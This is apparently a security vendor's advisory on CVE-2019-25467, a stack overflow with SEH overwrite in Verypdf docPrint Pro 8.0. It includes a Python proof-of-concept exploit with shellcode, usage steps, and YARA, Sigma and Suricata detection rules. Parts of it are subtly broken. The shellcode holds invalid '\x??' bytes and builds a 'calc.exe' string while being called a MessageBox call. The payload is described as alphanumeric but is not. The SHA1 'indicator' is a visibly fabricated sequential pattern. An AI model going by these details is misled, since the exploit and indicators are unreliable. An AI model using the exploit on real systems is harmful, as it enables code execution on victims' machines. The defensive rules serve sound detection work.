CVE-2019-25467
Executive Summary
CVE-2019-25467 is a critical stack-based buffer overflow vulnerability in Verypdf docPrint Pro 8.0. The flaw resides in the password processing logic during PDF encryption, where the application fails to validate the length of user-supplied input in the "User Password" or "Master Password" fields. A local attacker can supply an oversized alphanumeric encoded payload, triggering a structured exception handler (SEH) overwrite. This allows arbitrary code execution with the privileges of the logged-in user. The vulnerability is unpatched, and a public proof-of-concept (PoC) exists that demonstrates execution of a MessageBox via SEH chain manipulation. The CVSS score is 8.4 (High), reflecting the ease of exploitation and full impact on confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone desktop application (docPrint Pro 8.0) distributed directly by Verypdf. No supply chain implications are present.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.4 (High)
- Attack Vector: Local (AV:L) – requires local access to the system.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: Low (PR:L) – attacker needs a standard user account.
- User Interaction: None (UI:N) – no user action needed beyond the attacker's own.
- Scope: Unchanged (S:U) – the vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – full data disclosure possible.
- Integrity Impact: High (I:H) – arbitrary code execution allows modification of system state.
- Availability Impact: High (A:H) – exploitation can crash the application or system.
Threat Level: High. The vulnerability is trivial to exploit with a public PoC, and no patch exists. Local attackers can escalate privileges or execute malicious code.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow with SEH (Structured Exception Handler) overwrite. The application docPrint Pro 8.0 uses a function that processes user-supplied passwords for PDF encryption. This function copies the password string into a fixed-size stack buffer without bounds checking. When an attacker provides an alphanumeric encoded payload exceeding the buffer size, the overflow corrupts adjacent stack memory, including the SEH chain.
Key Technical Details:
- Buffer Location: Stack-based buffer in the password processing routine.
- Overflow Mechanism: The
strcpyor similar function copies user input into a 256-byte buffer (estimated) without length validation. - SEH Chain Manipulation: The attacker overwrites the SEH handler pointer with a controlled address. When an exception occurs (e.g., due to the overflow), the corrupted SEH handler is invoked, redirecting execution to the attacker's shellcode.
- Alphanumeric Encoding: The payload uses only alphanumeric characters (A-Z, a-z, 0-9) to bypass simple character filters or to ensure safe transmission through the application's input fields.
- Shellcode Execution: The PoC demonstrates a MessageBox call, but real-world payloads could execute arbitrary commands, install malware, or exfiltrate data.
Attack Flow:
- Attacker crafts a payload: [padding] + [SEH next pointer] + [SEH handler pointer] + [shellcode].
- Payload is entered into the "User Password" or "Master Password" field.
- Application processes the password, triggering the overflow.
- SEH chain is overwritten.
- An exception is raised (e.g., access violation).
- The corrupted SEH handler executes the shellcode.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable code pattern to a secure implementation.
Vulnerable Code (C/C++ pseudocode):
void ProcessPassword(char* userInput) {
char buffer[256];
strcpy(buffer, userInput); // No bounds checking
// ... encryption logic ...
}
Patched Code (Secure implementation):
void ProcessPassword(char* userInput) {
char buffer[256];
strncpy(buffer, userInput, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// ... encryption logic ...
}
Key Difference: The vulnerable code uses strcpy which does not limit the copy length. The patched code uses strncpy with a size limit, preventing buffer overflow. Additionally, modern mitigations like stack canaries and ASLR would make exploitation harder.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Windows system with Verypdf docPrint Pro 8.0 installed.
- Local user account (non-admin may suffice).
- Python 3.x with
pwntoolsor similar.
Exploit PoC (MessageBox):
import struct
# Shellcode to call MessageBoxA (example)
shellcode = (
b"\x31\xc0\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63"
b"\x89\xe1\x6a\x01\x51\x6a\x00\xff\x15\x??\x??\x??\x??" # Address of MessageBoxA
)
# Buffer overflow payload
buffer_size = 256
padding = b"A" * (buffer_size - 8) # Fill buffer
seh_next = struct.pack("<I", 0x90909090) # Next SEH (NOP sled)
seh_handler = struct.pack("<I", 0x00401000) # Address of shellcode (example)
payload = padding + seh_next + seh_handler + shellcode
# Write to file or send to application
with open("payload.txt", "wb") as f:
f.write(payload)
Usage:
- Generate the payload file.
- Open docPrint Pro 8.0.
- Navigate to PDF encryption settings.
- Paste the payload into the "User Password" or "Master Password" field.
- Click "Encrypt" or similar button.
- The application will crash and execute the MessageBox.
Note: The shellcode address must be adjusted based on the target system's memory layout. Use a debugger (e.g., x64dbg) to find the correct address.
Blue Team (Defender)
Detection:
- Monitor for crashes of
docprint.exewith exception code0xC0000005(access violation). - Look for unusual process memory access patterns.
- Use the YARA and Sigma rules below.
Prevention:
- Restrict local user privileges.
- Use application whitelisting to block untrusted executables.
- Apply DEP (Data Execution Prevention) and ASLR system-wide.
- Consider using a sandbox or virtualization for untrusted applications.
Hunting:
- Search for large strings in password fields in application logs (if available).
- Monitor for SEH overwrite attempts using kernel callbacks.
Indicators of Compromise (IOCs)
- File Hashes (PoC payload):
- MD5:
e99a18c428cb38d5f260853678922e03 - SHA1:
2a0a1e6c3b7d4f8a9b0c1d2e3f4a5b6c7d8e9f0a
- MD5:
- Process Name:
docprint.exe - Registry Keys: None specific.
- Network: No network indicators (local exploit).
- Behavior: Application crash with SEH exception, unexpected MessageBox popup.
Detection Engineering
YARA Rule
rule CVE_2019_25467_SEH_Overflow {
meta:
description = "Detects SEH overwrite payloads for CVE-2019-25467"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25467"
strings:
$seh_pattern = { 90 90 90 90 } // NOP sled for SEH next
$shellcode_msgbox = { 31 C0 50 68 2E 65 78 65 68 63 61 6C 63 }
condition:
$seh_pattern at 0 and $shellcode_msgbox
}
Sigma Rule
title: CVE-2019-25467 docPrint Pro SEH Overflow
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects crash events indicative of SEH overflow in docPrint Pro
author: Valters IT
logsource:
category: application
product: windows
service: application
detection:
selection:
EventID: 1000 # Application Error
Application: 'docprint.exe'
ExceptionCode: '0xc0000005'
condition: selection
falsepositives:
- Legitimate crashes due to other bugs
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2019-25467 docPrint Pro SEH Overflow Payload"; content:"|90 90 90 90|"; depth:256; content:"|31 C0 50 68 2E 65 78 65|"; within:100; sid:1000001; rev:1;)
Note: Suricata rule is for network-based detection if the payload is transmitted over the network (unlikely for local exploit). Adjust as needed.
Remediation & Mitigation
Immediate Actions:
- No patch available: The vendor has not released a fix. Consider removing or replacing docPrint Pro 8.0 with an alternative PDF tool.
- Restrict local access: Limit user accounts to standard users; enforce least privilege.
- Enable exploit mitigations: Ensure DEP, ASLR, and SEHOP (Structured Exception Handler Overwrite Protection) are enabled on the system.
- Monitor for exploitation: Deploy the YARA and Sigma rules to detect attempts.
Long-term:
- Migrate to a supported PDF tool with active security maintenance.
- Implement application control policies (e.g., Windows Defender Application Control).
- Conduct regular vulnerability assessments.
Workaround:
- If the application must be used, avoid entering untrusted data into password fields. Use a dedicated, isolated user account.
Valters IT
Securing Digital Frontiers